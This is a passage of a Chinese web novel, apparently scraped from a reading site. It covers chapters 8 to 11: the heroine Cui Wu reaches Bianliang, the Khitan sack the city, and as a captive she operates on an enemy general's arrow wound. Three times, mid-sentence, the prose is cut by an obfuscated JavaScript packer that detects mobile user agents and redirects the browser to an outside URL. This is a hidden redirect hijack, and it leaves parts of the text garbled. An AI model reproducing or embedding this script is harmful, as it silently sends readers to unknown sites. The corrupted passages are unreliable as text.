不知是巧合还是有心,他颀长的背影遮挡住崔芜,也隔绝开账房贪婪窥伺的视线。 账房未尝没动过强行扣人的心思,但萧二的目光太过锐利,更隐隐透着杀人无数的冷峻戾气,叫他不敢轻举妄动。 账房终究有些阅历,观萧二行事做派,知他必有来历身份。掂量再三,到底没敢轻举妄动,将人恭恭敬敬地送下船。 眼下虽当乱世,汴梁却到底是晋国都城,远比寻常城镇安稳繁华。码头旁停了一排马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458114|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,车夫清一色的面黄肌瘦,却堆出笑脸,争先恐后地迎上前—— “客人要去哪?打尖还是住店?” “汴梁城是我的地头,最熟悉不过。” “若是做生意,便往西城,酒楼茶肆都在这一带。若要求官,得往东城,那边景致好,达官贵人们都爱在那儿开府。” 萧二越过热情揽客的人头,走向一位沉默寡言的中年男人,出钱雇了他的马车。很快,马车越过一众羡慕嫉妒的视线,往汴梁城而去。 崔芜在江南长了十余年,出门的次数屈指可数,好容易逃脱牢笼,血液里的冒险因子立刻耐不住寂寞。 她仗着自己改了男装,小心揭开一角车帘,巨大的阴影盖顶压下,那是汴梁城饱经风霜的厚重城墙。 崔芜屏住呼吸,瞧着巡视城门的兵卒,自心底生出一股战栗。 不是出于畏惧,而是某种说不清道不明的兴奋。 进城的花销是一串铜钱,崔芜先是讶异,转念一想就明白了:乱世战火如潮,流民则像是被潮水冲散的蝼蚁,一窝一窝堵不住也拦不了。 这些人在古代被称为“逃户”,若是前朝尚在,自有雷霆手段应对。可眼下政权林立、藩镇割据,谁也没这个精力严防死守。 倒不如叫百姓们破财消灾,毕竟捞在手里的实惠才是最要紧的。 崔芜对汴梁的印象大多来自于影视剧中的“东京”,那是一个时代的繁华剪影,汴河水倒映着灯火流金,两岸的店铺与叫卖声开启了《清明上河图》的画卷。 想象很美好,现实却太骨感。 此时的汴梁还未经过大一统王朝的悉心治理,频发的动乱与兵祸极大破坏了民生。纵然一国都城不至于像寻常城镇一般屡遭洗劫,却不难看出经济的萧条与凋敝。 沿街店铺颇有一些,酒楼茶肆也不少,电视剧里摩肩接踵的繁华场面却不用指望。偶尔有饰金翠幔的马车疾驰而过,不是晋帝亲眷,就是新近得宠的官员勋贵。 崔芜看罢,没了兴致:“也就这样了。” 萧二原是靠着车壁闭目养神,闻言睁眼:“也就如何?” “一个政权想成气候,无非三样:兵、钱和人,”崔芜漫不经心地说,“晋帝能拿下中原之地自立为王,麾下劲旅想必不俗。但他将幽云十六州送与外族,失了北境屏障,一旦外族南下,势必会陷入无险可守的窘境,再精锐的队伍也去了三成战力。” “且有才之士大多不缺傲骨,他背着儿皇帝的名头,卑躬屈膝自甘称臣,真正有才的智能之士不会投他,人才和人心也不必想了。” “剩下的,就是钱。” 崔芜撩开车帘,示意萧二往外看:“汴梁乃是都城,一国最繁华之地尚且如此凋敝,连行商走卒也瞧不见几个。方才经过粮行,我留意到粟米价格,竟比江南稻米还要高出三分。” “米价为一地价目的晴雨表,可知晋都物价居高不下。盘剥至此,百姓手里能有几个余钱?又能向朝廷缴纳多少税收?” “长此以往,国库如何能够丰盈?” 崔芜不用看都知道,对面的萧二正用怎样的目光打量自己。她生于乡野、长在楚馆,会些琴棋书画是本分,可方才那番话已经远超风尘女子应有的眼界与阅历。 然而崔芜有自己的盘算。 她深知乱世如深渊,吞一个毫无自保之力的女子毫无痕迹,想要乱世求存,最好的打算便是选一方豪强,攀附其上安稳度日。 但“攀附”也讲究筹码和策略,光凭医术还是太浅薄。崔芜不想走以色侍人的老路,只能拼命展示眼界才学,只差把“我很有料,还不三顾茅庐悉心求教”一排字刻在脸上。 她这点小心思,萧二心知肚明,却不置可否,只淡淡一笑就重新闭上眼。 崔芜:“……” 是她表达的太含蓄,还是这姓萧的眼神不好使? 看在对方一路照拂的份上,崔芜深吸一口气:不急不急,来日方长,反正要跟他一路,有的是机会自我推销。 这般想着,马车在街边停下,崔芜极利落地跳下车,跟着萧二拐进一条小巷。 不料眼前男人脚步骤顿,她一时收不住脚,险些照直撞上去。 萧二极敏捷地让开半步,又拉住险些绊倒的崔芜。后者抬起头,就见背光墙根处滑落几抹刀痕,依稀是一把弓弩的模样。 崔芜心念电转,看向萧二:“这是你的人留下的?” 萧二皱眉不语。 9. 第九章 破城 崔芜隐约猜到弓弩图案是萧二麾下留下的暗记,至于这记号意味着什么,却是无从得知。 不过,瞧着萧二异常凝重的神色,似乎不是什么好事。 一刻钟后,崔芜在附近酒楼寻了个雅间坐下。领她进城的萧二郎君声称有事要办,却不肯详说原委,只道傍晚时分回来接她,便径自离去。 说崔芜不好奇是假的,但她分得清轻重缓急。汴梁城是晋帝地盘,能不生事还是消停些好。萧二让她等,她便规规矩矩地等在雅间,早食用多了倒也不饿,只点了两样精致细点打发时间。 眼下正值饭点,酒楼里的客人不算少,大堂摆了个说书摊子,一个头发花白、身形佝偻的男人拍响惊堂木,绘声绘色地开张了生意—— “今日小老儿与诸位献上一段,说的不是别个,正是如今镇守河西四郡的百年名门,河西秦家。” 崔芜左右无事,听着开场抑扬顿挫,颇有韵律之美,一边拣了块酥糕品尝,一边有一搭没一搭地听着。 “诸位看官有所不知,这河西秦家原是前朝武皇钦封的节度使,祖孙三代经营,传到前节度使秦显大人手中。” “这秦节度乃是文武兼修一俊杰,生得玉树临风、倜傥潇洒,年轻时不知是多少女儿家的春闺梦里人。唯一美中不足的是,他膝下单薄,仅有两子,大郎君乃正室夫人所出,名讳一个湛字。二郎君却是妾室所生庶子,单名一个萧。” 崔芜鼓起的腮帮顿住,轻轻一挑眉。 “秦节度的正室夫人出身南阳张氏,亦是名门闺秀,温良贤淑自不必提。妾室亦有来头,当年河西四郡二十八楚馆列‘名芳榜’,榜首一位人称‘占尽春光,花中首冠,南国西施,见之自惭’,便是此女。” “此女尚在馆中时,花名姚魏,轻易不肯露面,但凡现身,凉州城中趋之若鹜,竟是万人空巷。那年评选花魁,姚魏夫人于帘后献舞一曲,成了凉州城经久不衰的传奇,也打动了微服私访的节度使秦显大人。” “秦节度对姚魏夫人一见倾心,再见定情,为迎娶佳人过门,不惜以十斛明珠为聘,倾国牡丹铺就姚魏夫人嫁入秦府的花路。哎哟那一日,花轿停在孙府门口,姚魏夫人手捧却扇盈盈下轿的一刻,不知踏碎了多少倾慕佳人的心。” 说书先生声情并茂,却有好事之徒忍不住挑刺:“什么姚魏夫人,名气再大,也是风尘出身!那秦节度已有正室夫人,纵然赎身,也是纳妾,一顶小轿从偏门抬进府就算抬举了,哪来的迎娶花路?” 说书先生和气生财,被找茬了也是笑脸迎人:“这位看官说得是,原是小老儿糊涂了。” 又道:“姚魏夫人自入府便是专房之宠,反倒将出身名门的正室夫人忘在一边。万幸夫人所生的嫡长子肖似秦节度,自小聪颖,天赋过人。三岁开蒙,五岁便将诗赋经义倒背如流,骑射武艺更是无一不精。秦节度见之心喜,着意栽培,正室夫人也顺理成章地复了宠。” “只可怜姚魏夫人,绮年玉貌却受夫君冷落,只能独居深闺,隔帘吟唱《长门赋》。没两年油尽灯枯,落得个春残花落随风逝,红颜白骨混芳尘的下场。” 好事之人继续挑刺:“这女子既赎了身,就该自甘卑贱、曲事主母,却还不知进退,分明是妾室之身,竟敢倚仗主君宠爱,凌驾主母之上!有此下场,也是活该!” 也有人问:“这秦节度既看重长子,那河西节度使之位便该传到长子手里。可我听说,如今据了河西四郡的,好像、好像不是这一位?” 说书先生叹了口气:“看官有所不知,许是对早逝的爱妾心怀愧疚,秦节度刚过不惑就一病不起,强挨了五六年,终于撒手人寰。” “主君病殁,论礼法论人心,都该由嫡长子继任。当时,秦大郎君亦不过加冠之年,就从亡父手中接过重担,此后兢兢业业,不说将河西四郡治理得有声有色,总算不堕先人威名。” “若一直如此,又是另一番故事,奈何天有不测风云。这秦节度身边有一副将,姓李名恭,原是党项族人,骁勇善战,深得秦节度倚重。谁想秦节度病逝后,此人竟勾结党项族人犯上作乱,引兵杀入凉州城,围了节度使府!” “秦郎君自不甘心将父祖基业拱手让人,领亲兵奋起厮杀。可那李恭蓄谋已久,事先买通秦郎君身边亲随,在茶水中下了毒。秦郎君中毒不支,幸得麾下拼死相救,妻儿亲眷却落入李恭之手。” “李恭命人将秦氏妇孺拖到阵前,寒刃加颈,逼迫秦郎君就范。秦郎君断然不肯遂了逆贼之意,可面对白发苍苍的老母与娇妻幼子,却是忠孝两难全。” “为难之际,秦老夫人与秦郎君的结发妻子不肯受辱,更不愿秦郎君为人胁迫,竟身撞刀锋自绝于阵前!” “秦郎君悲愤之下,拼死杀贼,虽重创李恭,奈何寡不敌众,最终倒在乱箭之下。” “可怜河西秦氏百年名门,遭此劫难,险些满门尽灭!而千里河西腹地亦被滚滚狼烟席卷,成了旁人的板上鱼肉。” 周遭众人事不关己,陪着一同叹息。崔芜却忍不住琢磨,这说书先生用了“险些”二字,就说明河西秦氏到底没死光,河西一地也依然在中原汉室掌握之中。 连元配嫡出的正牌继承人都遭了毒手,谁又有这么大能耐,将倾倒的大厦硬生生扶撑起来? 她竖起耳朵等着下文,却听窗外一骑疾驰而过,震天的铜锣声打断了看客们的唏嘘,嘶哑的呐喊声响彻阴霾沉沉的都城天宇—— “快跑啊!胡人打进来了!” 崔芜猛地回过头。 *** 存在于说书先生口中的“滚滚狼烟”毫无预兆地砸落现实,烟尘中杀出大股胡骑,自正北封丘门冲入汴梁城。 守城士兵懵在原地,怀里揣着刚收来的买路钱,大好头颅已在猝起的刀光中落地。 血染城墙,滚了满面尘土。 “这就是中原人的都城!” 带头的胡骑抹去刀锋上的鲜血,仰头发出狼嚎般的大笑:“这里有数不清的女人、黄金、丝绸,这里的主人却是个绵羊似的懦夫!” “长生天的子民,告诉我,你们该做什么?” 身后胡骑齐刷刷地拔出刀,刀锋迎着阳光,雪亮刺目。 “冲进去!” “羊群不配拥有这么肥沃的土地,这里是属于狼王的!” 胡人们素爱以草原狼自比,此时也如出笼的狼群一般。马蹄驰骋于青石铺就的宽阔街道,马背上的胡骑举刀砍落,又把看中的女人掠上马背。 惨叫、悲泣与胡骑的怪笑声充斥着中原国都,不知是谁将点燃的火把丢进建筑物,不多会儿,浓烟冲天而起,风助火势、火随风涨,转眼席卷了大半条街。 都城百姓被突然泼下的战火砸懵了,慌乱中顾不得收拾细软,只知道没命奔逃。可烈火与胡骑无处不在,从四面八方截断他们的生路。 酒楼里的客人同样一哄而散,崔芜混在人流中,寻准机会藏进小巷。马蹄声紧追而过,一起听说书的看客们发出惊恐的哀鸣,谁也没想到自己会变成故事中的刀下鬼。 崔芜狠狠掐了把手心,将不合时宜的心软与恻隐摁回去。然后她蹲下身,沾满灰土抹在脸上,又撕下衣摆布条,将匕首层层缠裹于小臂处,起身往反方向奔去。 “是我蠢了,”她想,“明知晋帝是个拿自家地盘做人情的窝囊废,就该想到这种货色,守不住都城是迟早的事。” 可惜现在反应过来已经迟了。 奔逃中,她莫名想起萧二,倒不是担心人家安危,以萧二身手,只要能与部曲汇合,逃出生天总不是难事。 相形之下,反而是崔芜自己的处境更危险。 “我太松懈了,”她一边灵巧避开挡路的“障碍物”——或者是崩塌的废墟,或者是倒在血泊中的尸体,一边默默自省,“我不该心存侥幸,不该试图依靠别人,更不该因为逃脱孙家就放松警惕。” 乱世之中,虎狼遍地,又岂止一个镇海军节度使? 窄巷出口近在眼前,崔芜却谨慎地放慢脚步,这个选择十分明智,因为追逐的脚步声紧跟着进了窄巷。 追兵是两个身量壮实的胡人,脚步虽快,却并不着急,而是像猫戏耗子一般保持着不远不近的距离。 跑在前头的是个年轻男人,相貌未见得多出色,衣服料子却是上好绸缎。可惜一路连滚带爬,沾满尘土不说,更蹭破了好几处。 堪堪逃到巷口时,年轻男人脚底一崴,毫无形象地摔了个狗吃屎。 胡人见状,大笑着逼近。 谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大量的汉人俘虏被带往城外的胡人军营,不论战争何时结束,也不论哪一方是最后的赢家,他们的结局已然注定。 胡人不在乎汉人俘虏死活,在他们看来,一个活着的汉人甚至不如一头牛或是羊。俘虏们的待遇也不会比牛羊更好,随意圈起的栅栏,脏污的卫生,恶臭的环境,成了数以千计俘虏的栖身之所。 男人与女人分开关押,女俘虏的待遇比男人稍好,至少营地干净许多,还能分到毯子蔽体。 可她们的处境也比男人更凄惨,每到夜晚,就有醉醺醺的胡人闯进栅栏,挑选年轻美貌的汉家女子。随之而来的则是女人的惨叫嘶哭与狼嚎般的狂笑声。 男性俘虏营中,所有人或蹲或坐于地,头顶是沉得化不开的夜色,身旁是女子凄厉的哭嚎。 有人面露不忍,有人悲愤交加,有人对前路感到惶恐,更多的却是眼神呆滞、神情麻木,像极了待宰羔羊。 俘虏营一角蜷缩着两个人影,正是丁三郎和他身边的账房先生。说来也倒霉,这二位原是入城谈生意,谁知出门没看黄历,居然撞见胡人破城这档糟心事。逃窜时慌不择路,遇上一小队巡防轻骑,结果毫无意外,被当成牛马逮回营中。 “失策了!”丁三郎咬牙,“原以为铁勒南下只是谣传,早些年也有过胡骑南下的传闻,还不是雷声大雨点小?没想到……” 账房亦是懊悔不迭,却知木已成舟,说再多也于事无补:“小人白日里偷听到两个胡人谈话,好似不日要将咱们送去关外,真要离了汉家地界,这辈子都休想活着回到故土!” 丁三郎出身丁家长房,又是正室嫡子,原该是板上钉钉的继承人,只因一着算错,就要落得为奴的下场,如何能忍? “必须想个法子!”丁三郎脸色铁青,视线无意识地逡巡,“我不能……绝不能……” 他的话音突然顿住。 丁三郎目光骤凝,久久再未言语。账房回头看去,只见不远处还算清净的角落里,坐着一道似曾相识的清瘦侧影。 账房惊讶:“她怎么在这儿?” 丁三郎低声道:“我有法子了。” 10. 第十章 手术 俘虏营每日只管一顿饭,入夜后,两个小兵模样的胡人走进栅栏,将两只木桶扣在地上。 “你们这些两脚羊,吃饭了!” 杂粮饼撒了满地,那玩意儿顶着“杂粮”的名字,其实大半是谷壳麦麸,又干又硬难以入口,甚至不如战马吃的豆饼有营养。 俘虏们却一拥而上,疯了般争抢着饼子,一边抢一边往嘴里塞,唯恐慢上半步就被人夺走。 丁三郎不屑如猪狗一般与人争食,对账房使了个眼色。 账房会意,满面堆笑地走上前:“这位军爷,小人有要事禀报你家将军,还望军爷帮忙带句话。” 他用身体遮挡着,从袖中摸出一吊铜钱,塞进胡兵手里。 谁知胡兵掂了两下,不屑地丢在地上,也不细问带什么话,指着账房就是一句生硬的汉话:“打!” 账房还没回过神,已经被一刀鞘拍倒在地。两三个胡兵围着他,就是一顿拳打脚踢。 账房跟着丁三郎久了,锦衣玉食车马代步,何曾吃过这等苦头?挨不了两下,他就痛得哀嚎起来,一边抱头翻滚,一边连声哀求:“军爷饶命!小人无意冒犯,当真有要事……哎哟,禀报!” 胡兵不理会,继续打。 账房实在扛不住:“军爷别打……这营里有奸细!有奸细啊!” 胡兵高举的刀鞘停在半空,相互看了眼,抬腿将账房踹翻过来:“说,奸细是谁!” 账房唯恐答慢一句,雨点般的拳脚再次落在身上,毫不犹豫地伸手一指:“是她!” 他指定的正是崔芜。 胡兵的目光瞬间转来,刷刷连响,弯刀出鞘。火光照耀下,崔芜微微蹙眉,还没来得及说什么,一道身影突然窜出,张开手臂挡在她身前。 “误会误会,纯属误会!”那人对胡兵赔着笑,“各位军爷,这是我妹……小弟!咱们兄弟都是良民,不是什么奸细!” 崔芜认出了他,诧异地挑起眉。 这位居然是个熟面孔,正是当初巷子里差点死在胡人刀下的年轻男人。 男人对着胡兵连连作揖,实则用后背遮挡住崔芜,一个劲地将人往身后藏:“您瞧见那位相貌堂堂的帅郎君了没?他是我同族的三哥……对,就是白日里给您塞金子的那位!这小子是咱们小弟,他要是奸细,我跟我三哥不得同罪论处?” 他杂七杂八地嚷嚷了一通,忽然抬高声量:“你说是吧,三哥?” 丁三郎:“……” 原定的计划被莫名其妙打乱,丁三郎眼角疯狂抽跳,应不是不应也不是,恨不能将“同族兄弟”一板砖拍死。 “老六疯了吗?”他暗暗咬牙,“那女人跟他什么关系,这么替她出头!” 但他问不出口,丁六郎也不会回答,至于胡人士兵,压根不想理清汉人们复杂的“亲戚关系”,直接打了个手势:“全都带走!” 一声令下,如狼似虎的铁勒人冲进栅栏,将人拎小鸡似地拖了出去。 *** 空地上竖起若干木头桩子,每根上面都绑着一个大活人。铁勒胡兵嘻嘻哈哈,手里挽着弓箭,俨然要拿活人当箭靶。 这是胡人对待“奸细”的态度,他们没有审问的耐心,但凡沾了嫌疑,不问男女,一律处死。 胡兵呵斥着,将最后一人推向木桩。“他”趔趄两步,忽然转过身,抬袖抹去脸上灰土,又打散头发。 胡兵嫌“他”走得太慢,高举刀鞘就要砸落,冷不防瞧见她尘土后的真容,手腕颤抖了下,那一刀便再也落不下来。 “这位军爷,烦您给耶律将军带个话,”崔芜不想利用容貌优势,奈何生死一线,容不得她清高,“我有法子为胡都将军治伤。” 她并不认识带兵的铁勒将军,只是凭着听来的三言两语,依稀拼凑出大概。从容不迫的态度却将胡兵震住,他狐疑端详着崔芜,又被她过分灼盛的容光逼迫,不由自主地转开视线。 “我去禀报将军,”他色厉内荏地呵斥着,“要是敢耍花样,我就砍了你的脑袋喂狗!” 崔芜放下心来,看着一溜烟跑没影的胡兵和其他蠢蠢窥伺却没有采取任何行动的胡人,她知道自己赌赢了。 美貌与才华是天赐的禀赋,虽然乱世之中,身具稀世美貌却手无缚鸡之力的女子极容易成为受人觊觎的羔羊,但只要运用得当,未尝不能成为保命的筹码。 崔芜身无长物,筹码有限得很,每一枚都必须物尽其用。 胡兵很快回来,绷着脸道:“将军要见你!” 崔芜毫无意外,微微一笑。 她不知这位带兵的“耶律将军”与后世史书的辽帝是否有关,单从年岁来看,似乎十分相近。他正值男人最鼎盛的年纪,生得轮廓刚硬,粗犷威武,皱眉看来时,有种刀锋般的威慑力。 “你说,你会治箭伤?”他看着匍匐在地的崔芜,冷冷道,“把头抬起来。” 崔芜一边在心里吐槽封建社会见人就跪的糟粕,一边驯服抬头。下一瞬,胡人将军步了小兵后尘,视线被猝然盛放的容光灼痛了。 “你是郎中?”他到底比小兵稳重,再多的感叹也只压在心底,面上依旧威严,“你能治好胡都的伤?” 崔芜并不敢肯定,但她学的是西医,治外伤比单纯看病要多几分把握:“小人自小学医,不敢说十分精通,对治疗金镞外伤还算有些心得。” 耶律将军盯着她半晌,施足了压力,才对小兵道:“带她去胡都将军营帐。” “胡都将军”是个三十来岁的壮汉,躺在单独的营帐,被五六个头发花白的郎中围着。看得出来,这几位争执了好一会儿,只是没个定论,因为此人中箭部位太寸,十分靠近腹股沟。 崔芜凑过去瞧了眼,头皮有些发麻——不是因为胡都没穿外裤,几乎是坦露着隐私部位任人观瞻,而是这个位置、这个深度,箭头即便没伤到动脉血管,也极有可能在拔出时造成二次伤害。 然而崔芜没机会退缩,耶律将军紧跟着进了营帐,鹰隼般的目光来回扫视,喝问声自然带出杀人如麻的戾气:“怎么还没拔箭?等什么呢!” 几个郎中都是平头百姓出身,何曾见过这等阵仗?一个个颤巍巍的不敢说话。 耶律将军面色一冷,抚住腰间刀鞘的拇指顿住,大有杀鸡儆猴之意,就听旁边有人极清脆地开口道:“胡都将军伤在腿根处,拔箭时极有可能伤及血脉。还请将军命人准备热水和麻布,麻布需在开水中滚过,再用火烤干。若是条件允许,热水中可加入少量盐。另外,还需要匕首和铜镊,若是军营没有,不妨向俘虏营的女眷问问。” 耶律将军蓦地回头,果不其然瞧见崔芜。 当所有人的视线聚焦在同一人身上时,压力不是一般的大。万幸崔芜有过数次死里逃生的经历,已经可以泰然处之:“再请将军命人将营帐内外打扫干净,不能有灰土尘埃。稍后拔箭,剧痛难忍,亦会有鲜血溅出,必须将伤员四肢绑缚固定,其余人等退出帐外。” 她以囚俘之身指使敌军主帅,是一件非常荒谬的事。偏偏神色自如、态度镇定,吩咐的各项事宜有条不紊,叫人不自觉地想要服从。 耶律将军略作沉吟:“你有多少把握?” 崔芜并没有完全的把握,伤势拖延得太久,卫生情况也不容乐观,即便侥幸拔出箭,很难说不会引发感染和并发症。 但此时此地,由不得她退缩,只能硬着头皮上:“五分。” 这已是润色过的结果,耶律将军却很不满意,只听“呛啷”一声,弯刀出鞘,泛着寒意的刀刃架于崔芜颈间:“你说什么?!” 那刀锋利得很,轻易削断两绺滑落禁锢的发丝。崔芜却面不改色:“这世间没有十分笃定的局面,五成赢面已然不低。将军乃久经战阵之人,该明白生死不过是铜板两面,翻覆过来就是定局。” “我能给的只有五成,剩下五分,要看天意。” 耶律将军冷冷瞧她,崔芜情知此时不能露怯,强迫自己硬碰硬顶回去。两人无声交锋片刻,终是耶律将军先开口:“照她说的去做。” 胡人或许有许多可供诟病的地方,办事效率绝对没得说,不到半个时辰,热水和麻布、匕首准备就绪,营帐也清理得片尘不染。 崔芜在水盆里洗净了手,额外用草木灰蹭了两遍,然后用刀锋小心翼翼拨开伤处血肉,麻布蘸了淡盐水清创,再用芦苇管将脓血导出。 做完准备工作,她看清了那只箭的箭头,入肉两分,巧妙避开了动脉。 这是好消息,坏消息则是,箭头离血管实在太近了。且因为箭头的锥形构造,一旦拔出,十有八九会伤及血脉。 古代没有输血的条件,如果不能及时止血,这条命就算交代了。 崔芜沉思许久,叹了口气,忍痛从贴身荷包里摸出一个鸽蛋大小的木盒。 荷包里装着她的全部家当,几件小巧易携的赤金首饰,此外就是这个木盒。这是请木匠特别打造的,里头装的不是明珠玛瑙,而是一团线与一根针。 针身极细,八成银,两成铜,微弯如月钩。线是取羊羔肠子里层黏膜,在草木灰水中浸泡清洗,平整后再以硫磺烟熏。 这两样东西听着不难,却花了崔芜不下二十贯钱,小半辈子的积蓄。 不是不心疼,但缝针和手术线,大约是一个外科医师流落古代最后的坚持。 耶律将军掀帐进来时,崔芜正将缝针和手术线浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458116|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入淡盐水消毒,又用烛火高温烤透。火光映照在她侧脸上,勾勒出姣好的轮廓与专注的神情,与大战前擦拭兵刃的将士微妙神似。 草原汉子崇尚血勇,瞧不上中原的“两脚羊”。在大多数胡人印象中,这些中原人柔弱无能又贪生怕死,面对外族的屠刀,只会像羊群一样哭号奔逃。 但崔芜与他们不同,无论是寒刃加颈面不改色,还是若无其事地清洗血淋淋的伤口,都颠覆了耶律将军的固有认知。 他对崔芜生出好奇……前提是,这个女人处理外伤的医术,像她表现出的一样高超而深不可测。 “你的要求,我都满足了,”耶律将军冷冷道,“什么时候拔箭?” 崔芜看向伤员,他大敞四肢,手腕足踝被牢牢捆缚在床角的四根立柱上。很显然,伤员本员对这个造型不太满意,铜铃似的眼恶狠狠地瞪着崔芜。 “中原女人,”胡都用不太灵光的汉话说道,“我如果死了,你也得陪葬!” 崔芜本可以直接动手,但她听到帐外胡人隐约的呵斥声,心念电转间,突然道:“我需要人帮手。” 耶律将军皱眉沉默,大约是以为她在玩花样。 崔芜诚恳道:“拔箭时极有可能勾破血脉,我需要有人帮我钳制血脉,尽可能减少出血量,方便缝合伤口——你也不希望自己麾下大将因为失血过多而葬身于此吧?” 耶律将军:“你想找谁帮手?” 崔芜立即道:“我表哥!就在外头的木桩上!” 于是半刻钟后,新认的“表哥”被推进营帐。按照崔芜的要求,他脸和双手都清洗干净,人也换了件干净衣裳,虽是粗麻料子,瞧着倒也精神。 他张口想说什么,却被崔芜先声夺人地往脸上一摁,临时裁制的粗麻口罩堵上了话头,崔芜压根不给他开口的机会:“表哥来得正好,稍后拔箭,还请表哥帮手。” 她将一把镊子塞进男人手里,用铜打造,一端扁平,另一端却是铸成耳勺模样,想必是闺阁女子修理蛾眉的器具,被崔芜临时征用了来,同样用淡盐水和火烤消过毒。 丁六郎看看镊子,再瞧着崔芜,脸上掠过一丝古怪神色,却什么也没说。 崔芜没留心他的异样,即便瞧见了,也只以为是古代土著不适应现代外科器具。她用匕首割开伤口、剔除脓血,饶是胡都四肢都已被绑缚固定,仍痛得变了脸色。 “该死的中原女人,”他骂道,“你该不会是故意……” 话没说完,胡都只觉伤处一阵刺痛,“叮”一声脆响,箭头已然取出,血淋淋地丢进水盆。 崔芜已经足够小心,奈何中箭部位太刁钻,箭簇无可避免地勾破血脉,一缕细细的血液随即喷射而出。 耶律将军坚持留下,见状变了脸色。他见过太多勇士,未曾倒在面对面的厮杀中,却因外伤感染或是失血过多,最终无力回天。 “你……” 他刚说一个字,崔芜却似早有准备,眼疾手快地一探,铜镊钳制住血脉上端,血流顿时缓了。 “愣着做什么!”她厉声斥道,“还不帮忙!” 丁六郎如梦初醒,接过她手中镊子。崔芜更不迟疑,换了两把尖头镊子,同时操作银针与羊肠线从血管顶部下手,先从外往里,再由里向外,再飞快地打了结。 这是标准的手术结,托过去十年间,崔芜时常用猪皮练习的福,这门手艺不算生疏,没辜负当年勤学苦练流下的汗水。 不幸中的万幸是,血管只是勾裂一线,并没完全断裂,还不需要动用更为复杂的三点吻合法。 缝合完毕后,再次用淡盐水清洗伤口,然后缝合皮肉。饶是她手脚足够麻利,即将完工时,依然觉得天旋地转。 这是低血糖的症状。 崔芜手抖了下,针尖险些刺歪。她不敢逞强,忙闭目转头,口中道:“有吃的吗?” 手术还没完全结束,但耶律将军就在一旁,亲眼目睹了伤口缝合的全过程。眼看这中原女人只用一根怪模怪样的针和一团线,就解决了让众多郎中头疼不已的大麻烦,而缝合后的伤口也立刻止了血。 古人没有“伤口感染”和“并发症”的概念,在耶律将军眼中,这已是“大获全胜”。 “这女人有大用,”他不动声色地想,“有她在,可以解决许多麻烦。” 出于这层考虑,耶律将军没有刁难崔芜,立刻命人端来炒米和烤肉。虽说米是粟米,谷壳未曾脱净,肉是肉干,咬起来硬梆梆,却比牛马都不吃的杂粮饼强多了。 崔芜打完最后一个结,用最快的速度洗净手,抓起烤肉不要命地往嘴里塞。 然后她抬起头,发现丁六郎正用一种莫测的眼神打量自己。 11. 第十一章 膈应 崔芜没把丁六郎当回事,她之所以捞对方一把,完全是为了报答丁六郎在俘虏营里的回护之恩,并不打算产生过多的交集。 但那姓丁的不知怎么回事,从手术开始,一双眼就像是黏在崔芜脸上一般,死活撕不下来。 崔芜只当没看见,将最后一口烤肉塞进嘴里,就着烧开的热水灌下。 然后她一抹嘴,对耶律将军道:“伤口虽然处理好了,往后三天却尤为关键,如果不发热、不流脓,就算熬过了这一关。” 想了想,又道:“胡都将军流了不少血,还请将军准备一壶热水,水里加入少许盐和糖,每隔两个时辰让胡都将军饮一碗,有助于伤情恢复。” 她没主动要求看护伤员,既是不想自讨苦吃,也知道眼前的契丹将军未必信得过自己。耶律将军果然没有异议,唤了亲兵进来。 “单独准备一个营帐,安排人值夜巡防,没有本将允许,任何人不得擅自靠近!”他吩咐道,“违者,军法处置!” 崔芜略有点讶异。 让她惊讶的不是单独一间营帐的待遇,她毛遂自荐冒险救人,为的就是展现价值,换取更好的待遇。 她的努力没有白费,达到了预期的效果……甚至更好。 眼前的外族主帅不仅给她准备了营帐,还照顾到她女子的身份,专门安排亲兵巡夜。虽说未必没有提防监视的意思,但必须承认,在遍地皆虎狼的军营里,这个安排还是让崔芜松了口气。 她落落大方地一福礼:“谢将军体恤。” 耶律将军一摆手,命她出去。 崔芜好人做到底,自己升天也不忘带着丁六郎一起。两人跟着亲兵出了营帐,经过空地时,忽而变了脸色。 ——一同拖出俘虏营的丁三郎和账房仍被绑在木桩上,四肢密密麻麻插了不少箭簇,血快流干了,人却没完全断气,还在发出微弱呻吟。 再如何面和心不和,那也是丁六郎的同族兄弟。刹那间,疯狂上涌的鲜血烧热了理智,两条腿不听使唤地往前冲,又被崔芜拖了回来。 “你想死吗?”她从牙缝里挤出话音,“你若打定主意不要这条命,我不拦着你。” 丁六郎两腮绷得死紧,到底按捺住了冲动。 胡人放纵肆虐的大笑声中,两人闷头进了营帐。亲兵刚走,丁六郎就撑不住了,一屁股坐在地上,颓然又无力地捂住脸。 崔芜刚经历一台手术,没力气安慰他,就着盆中剩水随便洗了把脸,整个人摊开手脚倒在铺盖中。 丁六郎却又很快缓过神:“方才,谢了。” 他俩谁也没纠结男女共处一室的问题,身处乱世,能活着就是万幸,纠结细枝末节毫无助益。 崔芜用被子蒙住头,声音闷闷的:“不必,就当回报你之前替我解围的人情。” 